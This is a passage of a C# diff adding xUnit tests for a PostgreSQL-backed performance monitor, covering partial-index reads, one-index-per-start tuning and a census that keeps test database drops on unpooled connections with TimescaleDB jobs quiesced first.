             ["idx_query_store_stats_server_time_forcing"] = ("server_id", DarlingAlertReadAdapter.ForcePlanFailuresSql),
+            [PgTableTuning.LegacyRowIndexName] = ("server_id", QueryStoreIntervalWide.HasLegacyRowSql),
+            [PgTableTuning.QueryStatsRestartRowIndexName] = ("collection_time", IntervalRollupRestartRows.QueryStatsRestartRowsSql),
+            [PgTableTuning.ProcedureStatsRestartRowIndexName] = ("collection_time", IntervalRollupRestartRows.ProcedureStatsRestartRowsSql),
             ["idx_store_metrics_kind_name_time"] = ("object_kind", DarlingStoreMetricsReader.StoreMetricsLatestSql),
         };
 
@@ -58,14 +62,40 @@ public sealed class TuningIndexReaderPairingTests
         }
     }
 
+    /// <summary>The index is partial, so the read must carry the same predicate or the planner cannot use it.</summary>
+    [Fact]
+    public void TheLegacyRowRead_CarriesThePartialIndexPredicate_BesideItsServerAndTimeBounds()
+    {
+        var sql = QueryStoreIntervalWide.HasLegacyRowSql;
+        Assert.Contains("interval_start_time_utc IS NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("server_id = $1", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $2", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time <= $3", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>Both restart-row indexes are partial, so each reader must carry the predicate and the half-open time bounds.</summary>
+    [Fact]
+    public void TheRestartRowReads_CarryThePartialIndexPredicate_BesideTheirTimeBounds()
+    {
+        foreach (var sql in new[] { IntervalRollupRestartRows.QueryStatsRestartRowsSql, IntervalRollupRestartRows.ProcedureStatsRestartRowsSql })
+        {
+            Assert.Contains("sample_interval_seconds = 0", sql, StringComparison.Ordinal);
+            Assert.Contains("collection_time >= $1", sql, StringComparison.Ordinal);
+            Assert.Contains("collection_time < $2", sql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("FROM collect.query_stats", IntervalRollupRestartRows.QueryStatsRestartRowsSql, StringComparison.Ordinal);
+        Assert.Contains("FROM collect.procedure_stats", IntervalRollupRestartRows.ProcedureStatsRestartRowsSql, StringComparison.Ordinal);
+    }
+
     [Fact]
     public void EveryCreatedIndex_HasANamedReader_ThatReferencesItsLeadingColumn()
     {
         var created = CreatedIndexes().ToList();
 
-        /* Sanity: this must actually see the four indexes the list ships today (#4247 dropped the other
-           five), or the regex/list drifted and the pairing check below would be vacuously true. */
-        Assert.Equal(4, created.Count);
+        /* Sanity: this must actually see the seven indexes the list ships today (#4247 dropped five others),
+           or the regex/list drifted and the pairing check below would be vacuously true. */
+        Assert.Equal(7, created.Count);
 
         foreach (var (indexName, leadingColumn) in created)
         {
diff --git a/Darling/Darling.Tests/TuningReaderBudgetLiveTests.cs b/Darling/Darling.Tests/TuningReaderBudgetLiveTests.cs
index 3a0e3fb23b..ff84e94d2f 100644
--- a/Darling/Darling.Tests/TuningReaderBudgetLiveTests.cs
+++ b/Darling/Darling.Tests/TuningReaderBudgetLiveTests.cs
@@ -103,6 +103,7 @@ public async Task NamedReaders_StayUnderHalfTheirDeadline_OnceTheFiveIndexesAreD
         await connection.OpenAsync(ct);
         await PgMigrations.MigrateAsync(connection, ct);
         await DeleteRowsAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
 
         var bodySucceeded = false;
         try
@@ -122,7 +123,7 @@ public async Task NamedReaders_StayUnderHalfTheirDeadline_OnceTheFiveIndexesAreD
                     $"{indexName} should be gone after PgTableTuning.ApplyAsync — #4247 dropped it.");
             }
 
-            var end = new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Utc);
+            var end = new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond, DateTimeKind.Utc);
             var currentStart = end.AddHours(-1);
             var baselineStart = currentStart.AddHours(-1);
             var collectionTime = currentStart.AddMinutes(10);
@@ -306,7 +307,8 @@ private static async Task DeleteRowsAsync(NpgsqlConnection connection, Cancellat
         await using var cleanup = new NpgsqlCommand(
             $"DELETE FROM query_stats WHERE server_id = {ServerId}; " +
             $"DELETE FROM procedure_stats WHERE server_id = {ServerId}; " +
-            $"DELETE FROM query_store_stats WHERE server_id = {ServerId};", connection);
+            $"DELETE FROM query_store_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM servers WHERE server_id = {ServerId};", connection);
         await cleanup.ExecuteNonQueryAsync(ct);
     }
 }
diff --git a/Darling/Darling.Tests/TuningStartPasses.cs b/Darling/Darling.Tests/TuningStartPasses.cs
new file mode 100644
index 0000000000..b73e8f736b
--- /dev/null
+++ b/Darling/Darling.Tests/TuningStartPasses.cs
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A start builds at most one of the large start-path indexes, so a store with several of them missing needs
+/// several starts to be fully tuned. A test that needs a fully tuned store runs the start pass until it stops building.
+/// </summary>
+internal static class TuningStartPasses
+{
+    /// <summary>Runs the start-path pass once per large start-path index, which is enough to build every missing one.</summary>
+    internal static async Task ConvergeAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        for (var pass = 0; pass < 4; pass++)
+        {
+            await PgTableTuning.ApplyAsync(connection, NullLogger.Instance, ct);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TuningStartPathOneBuildTests.cs b/Darling/Darling.Tests/TuningStartPathOneBuildTests.cs
new file mode 100644
index 0000000000..e63856bbf2
--- /dev/null
+++ b/Darling/Darling.Tests/TuningStartPathOneBuildTests.cs
@@ -0,0 +1,150 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A service start builds at most one of the large start-path indexes: once one build has been issued, the other
+/// missing ones wait for the next start and the log names each. Also pins how a start-path build that runs out
+/// of time is told apart from any other failure, and the text of the warning it gets. Own scratch database per live test.
+/// </summary>
+/* #1776 own-store: the live fact mints its own scratch database through ScratchPostgres. */
+public sealed class TuningStartPathOneBuildTests
+{
+    private static readonly string[] Deferred =
+    {
+        PgTableTuning.LegacyRowIndexName,
+        PgTableTuning.QueryStatsRestartRowIndexName,
+        PgTableTuning.ProcedureStatsRestartRowIndexName,
+    };
+
+    [Fact]
+    public async Task AStartBuildsOneMissingIndex_DefersTheRest_AndTheNextStartsBuildThem()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the one-build-per-start live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        PgTableTuning.ResetHourlyMissingWarnings();
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var body = new NpgsqlConnection(scratch.ConnectionString);
+        await body.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(body, ct);
+        await TuningStartPasses.ConvergeAsync(body, ct);
+        foreach (var name in Deferred)
+        {
+            Assert.True(await IndexExistsAsync(body, name, ct), name + " should exist after the start passes");
+        }
+
+        /* The hourly pass never builds any of them, however many are missing. */
+        await Exec(body, "DROP INDEX collect." + PgTableTuning.QueryStatsRestartRowIndexName, ct);
+        await Exec(body, "DROP INDEX collect." + PgTableTuning.ProcedureStatsRestartRowIndexName, ct);
+        await PgTableTuning.ApplyAsync(body, new CapturingTestLogger(), hourly: true, ct);
+        Assert.False(await IndexExistsAsync(body, PgTableTuning.QueryStatsRestartRowIndexName, ct));
+        Assert.False(await IndexExistsAsync(body, PgTableTuning.ProcedureStatsRestartRowIndexName, ct));
+
+        /* Start 1: builds exactly the first missing one in list order and defers the other, by name. */
+        var start1 = new CapturingTestLogger();
+        await PgTableTuning.ApplyAsync(body, start1, ct);
+        Assert.True(await IndexExistsAsync(body, PgTableTuning.QueryStatsRestartRowIndexName, ct), start1.Joined);
+        Assert.False(await IndexExistsAsync(body, PgTableTuning.ProcedureStatsRestartRowIndexName, ct), start1.Joined);
+        Assert.Single(start1.Lines, l => l.StartsWith("Information:", StringComparison.Ordinal)
+            && l.Contains(PgTableTuning.ProcedureStatsRestartRowIndexName, StringComparison.Ordinal)
+            && l.Contains("built at the next start", StringComparison.Ordinal));
+        Assert.DoesNotContain(start1.Lines, l => l.Contains(PgTableTuning.QueryStatsRestartRowIndexName, StringComparison.Ordinal)
+            && l.Contains("built at the next start", StringComparison.Ordinal));
+
+        /* Start 2: builds the other. */
+        var start2 = new CapturingTestLogger();
+        await PgTableTuning.ApplyAsync(body, start2, ct);
+        Assert.True(await IndexExistsAsync(body, PgTableTuning.ProcedureStatsRestartRowIndexName, ct), start2.Joined);
+        Assert.DoesNotContain(start2.Lines, l => l.Contains("built at the next start", StringComparison.Ordinal));
+
+        /* Start 3: nothing is missing, nothing is built or deferred, and no index OID changes. */
+        var oids = await OidsAsync(body, ct);
+        var start3 = new CapturingTestLogger();
+        await PgTableTuning.ApplyAsync(body, start3, ct);
+        Assert.Equal(oids, await OidsAsync(body, ct));
+        Assert.DoesNotContain(start3.Lines, l => l.Contains("built at the next start", StringComparison.Ordinal));
+        Assert.Equal(0, start3.CountAtLevel(LogLevel.Warning));
+    }
+
+    /// <summary>The first-missing index in list order is the earliest start-path index, so the legacy-row index goes before the restart-row ones.</summary>
+    [Fact]
+    public void TheLegacyRowIndex_IsListedBeforeTheRestartRowIndexes_AndAllThreeShareTheBudget()
+    {
+        var order = PgTableTuning.Statements.Select((s, i) => (s, i)).ToList();
+        int At(string name) => order.First(o => o.s.Contains(name + " ON", StringComparison.Ordinal)).i;
+        Assert.True(At(PgTableTuning.LegacyRowIndexName) < At(PgTableTuning.QueryStatsRestartRowIndexName));
+        Assert.True(At(PgTableTuning.QueryStatsRestartRowIndexName) < At(PgTableTuning.ProcedureStatsRestartRowIndexName));
+        foreach (var name in Deferred)
+        {
+            Assert.True(PgTableTuning.IsOneBuildPerStart(name), name);
+        }
+    }
+
+    [Fact]
+    public void ABuildThatRanOutOfTime_IsToldApartFromAnyOtherFailure()
+    {
+        Assert.True(PgTableTuning.IsBuildTimeout(new NpgsqlException("Exception while reading from stream", new TimeoutException("Timeout during reading attempt"))));
+        Assert.True(PgTableTuning.IsBuildTimeout(new PostgresException("canceling statement due to statement timeout", "ERROR", "ERROR", PostgresErrorCodes.QueryCanceled)));
+        Assert.False(PgTableTuning.IsBuildTimeout(new PostgresException("relation does not exist", "ERROR", "ERROR", PostgresErrorCodes.UndefinedTable)));
+        Assert.False(PgTableTuning.IsBuildTimeout(new NpgsqlException("connection reset", new System.IO.IOException("reset"))));
+        Assert.False(PgTableTuning.IsBuildTimeout(new InvalidOperationException("boom")));
+    }
+
+    [Fact]
+    public void TheTimeoutWarning_NamesTheIndexTheTableTheElapsedTimeAndTheRetry()
+    {
+        var message = PgTableTuning.BuildTimeoutMessage("idx_demo", "collect.query_stats", 301.4);
+        Assert.Equal(
+            "Index collect.idx_demo on collect.query_stats was not built: the build ran out of time after 301 s (limit 300 s) and was rolled back; it is retried at the next start, and each try pauses collection at start for up to 300 s",
+            message);
+    }
+
+    [Fact]
+    public void TheStartPathCatch_UsesTheTimeoutWarning_OnlyForABuildThatTimedOut()
+    {
+        var src = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "PgTableTuning.cs").ReplaceLineEndings("\n");
+        Assert.Contains("statement.StartsWith(CreateIndexPrefix, StringComparison.Ordinal) && IsBuildTimeout(ex)", src, StringComparison.Ordinal);
+        Assert.Contains("BuildTimeoutMessage(", src, StringComparison.Ordinal);
+        Assert.Contains("Composer performance-tuning statement failed", src, StringComparison.Ordinal);
+    }
+
+    private static async Task<string> OidsAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            "SELECT string_agg(c.relname || ':' || c.oid::text, ',' ORDER BY c.relname) FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace "
+            + "WHERE n.nspname = 'collect' AND c.relname = ANY($1)", c);
+        cmd.Parameters.AddWithValue(Deferred);
+        return (string)(await cmd.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task Exec(NpgsqlConnection c, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<bool> IndexExistsAsync(NpgsqlConnection c, string name, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand("SELECT 1 FROM pg_indexes WHERE schemaname = 'collect' AND indexname = $1", c);
+        cmd.Parameters.AddWithValue(name);
+        return await cmd.ExecuteScalarAsync(ct) is not null;
+    }
+}
diff --git a/Darling/Darling.Tests/UnpooledDropConnectionCensusTests.cs b/Darling/Darling.Tests/UnpooledDropConnectionCensusTests.cs
new file mode 100644
index 0000000000..5ee56fd705
--- /dev/null
+++ b/Darling/Darling.Tests/UnpooledDropConnectionCensusTests.cs
@@ -0,0 +1,709 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A test that runs <c>DROP DATABASE</c> does it on an unpooled connection, and quiesces the database's TimescaleDB
+/// jobs first (#5549).
+///
+/// <para><b>The defect this closes.</b> A PostgreSQL client backend crashed with 0xC0000005 in a TimescaleDB
+/// <c>run_job</c>, after the same backend had run a scratch <c>DROP DATABASE ... WITH (FORCE)</c>. The admin connection
+/// string is the caller's <c>DARLING_TEST_PG</c>, so a pooled admin connection went back into the pool every live test
+/// draws from, and the next test took the backend that had just run the drop. The ruling: a database drop and a job
+/// run never share a backend. <c>ScratchPostgres</c> opens its own create, drop and sweep connections unpooled
+/// (<see cref="ScratchPostgres.UnpooledAdminConnectionString"/>); this census holds every other test file to the same
+/// rule.</para>
+///
+/// <para><b>What this pins.</b> For every PostgreSQL <c>DROP DATABASE</c> string literal in the test project (comments
+/// are blanked first): if the enclosing method opens a connection itself (<c>new NpgsqlConnection(</c> or
+/// <c>LiveStoreCleanup.RunAsync(</c>), that method must also hold the evidence of an unpooled connection
+/// (<c>UnpooledAdminConnectionString(</c>, <c>ExitDrainConnectionString(</c> or <c>Pooling = false</c>). A method that
+/// is handed its connection (a drop helper that takes the cleanup connection as a parameter) is held to the weaker
+/// file-level rule: the file must hold that evidence somewhere. The file-level rule cannot see which connection the
+/// caller passes, so a drop helper's callers are the thing a reviewer still checks; the method-level rule is what stops
+/// the common shape, a new drop with its own pooled admin connection beside it. A file that is not about PostgreSQL
+/// drops at all is named in <see cref="Exceptions"/> with its reason.</para>
+///
+/// <para><b>The second rule: quiesce before the drop.</b> The same ruling says TimescaleDB jobs are quiesced before every
+/// in-test drop, so a job worker is never running in a database while it is dropped. Every PostgreSQL <c>DROP DATABASE</c>
+/// site (the same sites, under the same <see cref="Exceptions"/>) must sit in a member that calls
+/// <c>QuiesceTimescaleJobsAsync</c> BEFORE the drop, plain or <c>WITH (FORCE)</c> (the older census in
+/// <see cref="ScratchPostgresQuiesceCensusTests"/> sees only the FORCE form). A method that cannot be dropping a database
+/// with jobs, because the test never created the extension in it and never ran a migration there, is named in
+/// <see cref="QuiesceExceptions"/> as <c>File.cs::Method</c> (or <c>File.cs</c> for the whole file) with its reason.</para>
+///
+/// <para><b>How a drop's member is found.</b> The census is a source scan with no parser package. A small brace walk over
+/// the file (comments and string literals blanked, so a brace or a call inside text is never read) finds the innermost
+/// method, constructor, local function, property or accessor body around the drop, at any indentation and with or without
+/// an access modifier; for an expression-bodied member or a field it is the declaration up to its own <c>;</c>. A region
+/// never spans two members, so a quiesce in a neighbour cannot excuse a drop. The quiesce counts only as a real call
+/// (not inside a string or a comment) and only when it comes before the drop in that member.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class UnpooledDropConnectionCensusTests
+{
+    /// <summary>The files that contain the text <c>DROP DATABASE</c> in a string but never drop a PostgreSQL database on a pooled connection, each with why.</summary>
+    internal static readonly IReadOnlyDictionary<string, string> Exceptions = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["DarlingCollectorRunnerTests.cs"] = "T-SQL against SQL Server (DROP DATABASE [name]); SQL Server has no backend pool shared with a TimescaleDB job.",
+        ["ProcedureStatsDeferredPlanFetchLiveTests.cs"] = "T-SQL against SQL Server (SINGLE_USER, then DROP DATABASE [name]).",
+        ["QueryStatsDeferredPlanFetchLiveTests.cs"] = "T-SQL against SQL Server (SINGLE_USER, then DROP DATABASE [name]).",
+        ["DropXeSessionsLiveTests.cs"] = "A SQL-injection session-name fixture: the text is data a validator must refuse, never run as a statement.",
+        ["DropXeSessionsPerInstallTests.cs"] = "A SQL-injection session-name fixture: the text is data a validator must refuse, never run as a statement.",
+        ["DropXeSessionsReadOnlyIntentTests.cs"] = "A SQL-injection session-name fixture: the text is data a validator must refuse, never run as a statement.",
+        ["DropXeSessionsVerbTests.cs"] = "A SQL-injection session-name fixture and a list of forbidden verbs: text a validator must refuse, never run as a statement.",
+        ["UnpooledDropConnectionCensusTests.cs"] = "This census: its own samples hold the drop text on purpose.",
+        ["ScratchPostgresQuiesceTests.cs"] = "The quiesce census: its samples hold the drop text on purpose, and the live test there drops through ScratchPostgres.",
+    };
+
+    /// <summary>
+    /// The PostgreSQL drop sites that skip <c>QuiesceTimescaleJobsAsync</c>, each as <c>File.cs::Method</c> (or <c>File.cs</c>
+    /// for the whole file) with why the dropped database cannot hold a TimescaleDB job.
+    /// </summary>
+    internal static readonly IReadOnlyDictionary<string, string> QuiesceExceptions = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["ComposeStoreRolesLiveTests.cs::TheComposeStore_ProvisionsItsOwnRoles_AndTheRealHostsConnectAsViewerAndMcp_Gated"] =
+            "operator_app_3914 is a bare CREATE DATABASE from template1, made to stand for an operator's own database; no extension or migration ever runs in it.",
+        ["PgReadBinaryFileCapabilityLiveTests.cs::IsGrantedAsync_OnAWin1252Database_GrantsTheRoute_AndCachesItsEncoding"] =
+            "pm_test_enc1252 is a bare WIN1252 database made from template0, so it never holds the TimescaleDB extension.",
+    };
+
+    /// <summary>Matches case-insensitively: T-SQL and PostgreSQL both accept <c>drop database</c>.</summary>
+    private static readonly Regex DropStatement = new("DROP DATABASE", RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+    /// <summary>A call to the quiesce helper, matched in code only (comments and string literals are blanked first).</summary>
+    private static readonly Regex QuiesceCall = new(@"\bQuiesceTimescaleJobsAsync\s*\(", RegexOptions.Compiled);
+
+    /// <summary>
+    /// The member's name: the identifier right before the first <c>(</c> of its declaration, after attribute lists are
+    /// removed, with an optional generic argument list between (<c>Foo&lt;T&gt;(</c>).
+    /// </summary>
+    private static readonly Regex MethodName = new(@"(\w+)\s*(?:<[^()]*>)?\s*\(", RegexOptions.Compiled);
+
+    private static readonly Regex AttributeList = new(@"\[[^\]]*\]", RegexOptions.Compiled);
+
+    private static readonly Regex Evidence = new(
+        @"UnpooledAdminConnectionString\(|ExitDrainConnectionString\(|Pooling\s*=\s*false", RegexOptions.Compiled);
+
+    private static readonly Regex OwnConnection = new(@"new NpgsqlConnection\(|LiveStoreCleanup\.RunAsync\(", RegexOptions.Compiled);
+
+    /// <summary>A type header: modifiers, then the keyword. A <c>where T : class</c> constraint on a method is not one.</summary>
+    private static readonly Regex TypeWord = new(@"^(?:\w+\s+)*?(?:class|struct|interface|record|enum|namespace|union)\b", RegexOptions.Compiled);
+
+    private static readonly Regex NewOrDelegateWord = new(@"\b(?:new|delegate)\b", RegexOptions.Compiled);
+
+    /// <summary>First words that open a block which is not a member: control flow and the like.</summary>
+    private static readonly HashSet<string> ControlWords = new(StringComparer.Ordinal)
+    {
+        "if", "else", "for", "foreach", "while", "do", "switch", "using", "lock", "try", "catch", "finally", "fixed",
+        "unsafe", "checked", "unchecked", "case", "default",
+    };
+
+    /// <summary>First words that start a statement which a <c>{</c> continues (<c>return x switch { ... }</c>): not a member.</summary>
+    private static readonly HashSet<string> StatementWords = new(StringComparer.Ordinal) { "return", "yield", "throw", "var" };
+
+    /// <summary>What a <c>{ ... }</c> block is, which decides where a member (the region a drop is judged in) starts and ends.</summary>
+    private enum FrameKind
+    {
+        /// <summary>The file itself.</summary>
+        Root,
+
+        /// <summary>A namespace, class, struct, interface, record or enum body.</summary>
+        Type,
+
+        /// <summary>A method, constructor, local function, property or accessor body, at any indentation.</summary>
+        Member,
+
+        /// <summary>A control-flow block (if, try, using, a bare block): the statement ends when it closes.</summary>
+        Control,
+
+        /// <summary>A lambda, an initializer, an interpolation hole: part of the statement around it.</summary>
+        Other,
+    }
+
+    private sealed class Frame
+    {
+        public Frame(FrameKind kind, int headerStart, int open, Frame? parent)
+        {
+            Kind = kind;
+            HeaderStart = headerStart;
+            Open = open;
+            StatementStart = open + 1;
+            Parent = parent;
+        }
+
+        public FrameKind Kind { get; }
+
+        public int HeaderStart { get; }
+
+        public int Open { get; }
+
+        public int Close { get; set; } = -1;
+
+        /// <summary>Where the statement being read at this block's own level started: just after the last <c>;</c>, or the last closed member, type or control block.</summary>
+        public int StatementStart { get; set; }
+
+        /// <summary>Open parentheses not yet closed at this block's own level; a <c>{</c> inside them is a lambda or an initializer.</summary>
+        public int Parens { get; set; }
+
+        public Frame? Parent { get; }
+    }
+
+    /// <summary>
+    /// One <c>DROP DATABASE</c> line: where it is, the member it sits in (<see cref="MemberText"/>, comments blanked,
+    /// whole member), the member's name, and whether a real call to the quiesce helper comes before the drop in that member.
+    /// </summary>
+    internal sealed record DropSite(int Line, string MemberName, string MemberText, bool QuiescedBefore);
+
+    /// <summary>
+    /// Every <c>DROP DATABASE</c> line in <paramref name="source"/> (case-insensitive, comments blanked first) with its
+    /// member. The member is the innermost method, constructor, local function, property or accessor body around the
+    /// line, at any indentation and with or without an access modifier; for an expression-bodied member or a field it
+    /// is the declaration up to its terminating <c>;</c>. It is never wider than that, so a quiesce in a neighbouring
+    /// member can never excuse a drop. The quiesce call is looked for in code only (comments and string literals are
+    /// blanked), and only before the drop.
+    /// </summary>
+    internal static List<DropSite> FindDropSites(string source)
+    {
+        var blanked = ScratchPostgresQuiesceCensusTests.BlankComments(source);
+        var code = CSharpSourceWalker.StripCommentsAndStrings(source);
+
+        var drops = new List<(int Offset, int Line)>();
+        var lineStart = 0;
+        for (var line = 1; lineStart <= blanked.Length; line++)
+        {
+            var newline = blanked.IndexOf('\n', lineStart);
+            var lineEnd = newline < 0 ? blanked.Length : newline;
+            var found = DropStatement.Match(blanked, lineStart, lineEnd - lineStart);
+            if (found.Success)
+            {
+                drops.Add((found.Index, line));
+            }
+
+            lineStart = lineEnd + 1;
+        }
+
+        var root = new Frame(FrameKind.Root, 0, -1, null);
+        var top = root;
+        var snapshots = new List<(Frame Inner, int ContainerStatementStart, int Offset, int Line)>();
+        var next = 0;
+        for (var i = 0; i < code.Length; i++)
+        {
+            if (next < drops.Count && drops[next].Offset == i)
+            {
+                var container = top;
+                while (container.Kind is not (FrameKind.Type or FrameKind.Root))
+                {
+                    container = container.Parent!;
+                }
+
+                snapshots.Add((top, container.StatementStart, i, drops[next].Line));
+                next++;
+            }
+
+            switch (code[i])
+            {
+                case '(':
+                    top.Parens++;
+                    break;
+                case ')':
+                    if (top.Parens > 0)
+                    {
+                        top.Parens--;
+                    }
+
+                    break;
+                case ';':
+                    if (top.Parens == 0)
+                    {
+                        top.StatementStart = i + 1;
+                    }
+
+                    break;
+                case '{':
+                    var header = code.Substring(top.StatementStart, i - top.StatementStart);
+                    var kind = top.Parens > 0 ? FrameKind.Other : Classify(header);
+                    var firstCode = top.StatementStart;
+                    while (firstCode < i && char.IsWhiteSpace(code[firstCode]))
+                    {
+                        firstCode++;
+                    }
+
+                    top = new Frame(kind, firstCode, i, top);
+                    break;
+                case '}':
+                    if (top.Parent is not null)
+                    {
+                        top.Close = i;
+                        var closed = top;
+                        top = top.Parent;
+                        if (closed.Kind != FrameKind.Other)
+                        {
+                            top.StatementStart = i + 1;
+                        }
+                    }
+
+                    break;
+            }
+        }
+
+        var sites = new List<DropSite>();
+        foreach (var (inner, containerStatementStart, offset, line) in snapshots)
+        {
+            var member = inner;
+            while (member is not null && member.Kind != FrameKind.Member)
+            {
+                member = member.Parent;
+            }
+
+            int start;
+            int end;
+            if (member is not null)
+            {
+                start = member.HeaderStart;
+                end = member.Close >= 0 ? member.Close : code.Length - 1;
+            }
+            else
+            {
+                /* An expression-bodied member or a field: the declaration, up to the first ; that is not inside a nested block. */
+                start = containerStatementStart;
+                end = code.Length - 1;
+                var depth = 0;
+                for (var j = offset; j < code.Length; j++)
+                {
+                    if (code[j] == '{')
+                    {
+                        depth++;
+                    }
+                    else if (code[j] == '}')
+                    {
+                        if (depth == 0)
+                        {
+                            end = j;
+                            break;
+                        }
+
+                        depth--;
+                    }
+                    else if (code[j] == ';' && depth == 0)
+                    {
+                        end = j;
+                        break;
+                    }
+                }
+            }
+
+            start = Math.Min(start, offset);
+            end = Math.Max(end, offset);
+            var region = code.Substring(start, end - start + 1);
+            var declared = MethodName.Match(AttributeList.Replace(region, " "));
+            sites.Add(new DropSite(
+                line,
+                declared.Success ? declared.Groups[1].Value : string.Empty,
+                blanked.Substring(start, end - start + 1),
+                QuiesceCall.IsMatch(code.Substring(start, offset - start))));
+        }
+
+        return sites;
+    }
+
+    /// <summary>What the block opened by the <c>{</c> that follows <paramref name="header"/> is.</summary>
+    private static FrameKind Classify(string header)
+    {
+        var text = StripParentheses(AttributeList.Replace(header, " ")).Trim();
+        if (text.StartsWith("await ", StringComparison.Ordinal))
+        {
+            text = text[6..].TrimStart();
+        }
+
+        var first = Regex.Match(text, @"^\w+");
+        if (text.Length == 0 || (first.Success && ControlWords.Contains(first.Value)))
+        {
+            return FrameKind.Control;
+        }
+
+        if ((first.Success && StatementWords.Contains(first.Value))
+            || text.Contains('=', StringComparison.Ordinal)
+            || NewOrDelegateWord.IsMatch(text))
+        {
+            return FrameKind.Other;
+        }
+
+        return TypeWord.IsMatch(text) ? FrameKind.Type : FrameKind.Member;
+    }
+
+    /// <summary>The text with every parenthesised run (nested ones too) removed, parentheses included.</summary>
+    private static string StripParentheses(string text)
+    {
+        var sb = new System.Text.StringBuilder(text.Length);
+        var depth = 0;
+        foreach (var c in text)
+        {
+            if (c == '(')
+            {
+                depth++;
+            }
+            else if (c == ')')
+            {
+                if (depth > 0)
+                {
+                    depth--;
+                }
+            }
+            else if (depth == 0)
+            {
+                sb.Append(c);
+            }
+        }
+
+        return sb.ToString();
+    }
+
+    /// <summary>
+    /// Every drop site that breaks the rule, as <c>file:line</c>, and how many drop sites were looked at.
+    /// </summary>
+    internal static (int Sites, List<string> Pooled) Scan(IEnumerable<(string Name, string Source)> files)
+    {
+        var sites = 0;
+        var pooled = new List<string>();
+        foreach (var (name, source) in files)
+        {
+            if (Exceptions.ContainsKey(Path.GetFileName(name)))
+            {
+                continue;
+            }
+
+            var blanked = ScratchPostgresQuiesceCensusTests.BlankComments(source);
+            foreach (var site in FindDropSites(source))
+            {
+                sites++;
+                var ok = OwnConnection.IsMatch(site.MemberText) ? Evidence.IsMatch(site.MemberText) : Evidence.IsMatch(blanked);
+                if (!ok)
+                {
+                    pooled.Add($"{name}:{site.Line}");
+                }
+            }
+        }
+
+        return (sites, pooled);
+    }
+
+    /// <summary>
+    /// Every PostgreSQL drop site that has no call to <c>QuiesceTimescaleJobsAsync</c> before it in its own member and is
+    /// not in <see cref="QuiesceExceptions"/>, as <c>file:line</c>, and how many drop sites were looked at.
+    /// </summary>
+    internal static (int Sites, List<string> Unquiesced) ScanForQuiesce(IEnumerable<(string Name, string Source)> files)
+    {
+        var sites = 0;
+        var unquiesced = new List<string>();
+        foreach (var (name, source) in files)
+        {
+            var file = Path.GetFileName(name);
+            if (Exceptions.ContainsKey(file))
+            {
+                continue;
+            }
+
+            foreach (var site in FindDropSites(source))
+            {
+                sites++;
+                if (site.QuiescedBefore
+                    || QuiesceExceptions.ContainsKey(file)
+                    || (site.MemberName.Length > 0 && QuiesceExceptions.ContainsKey($"{file}::{site.MemberName}")))
+                {
+                    continue;
+                }
+
+                unquiesced.Add($"{name}:{site.Line}");
+            }
+        }
+
+        return (sites, unquiesced);
+    }
+
+    [Fact]
+    public void EveryPostgresDropInTheTestProject_RunsOnAnUnpooledConnection()
+    {
+        var directory = FindTestProjectDirectory();
+        Assert.True(directory is not null, "could not find Darling/Darling.Tests from the test binary.");
+
+        var files = Directory.EnumerateFiles(directory!, "*.cs", SearchOption.AllDirectories)
+            .Select(path => (Name: Path.GetRelativePath(directory!, path).Replace('\\', '/'), Path: path))
+            .Where(found => !found.Name.Split('/').Any(segment => segment is "bin" or "obj"))
+            .Select(found => (found.Name, File.ReadAllText(found.Path)))
+            .ToList();
+
+        var (sites, pooled) = Scan(files);
+
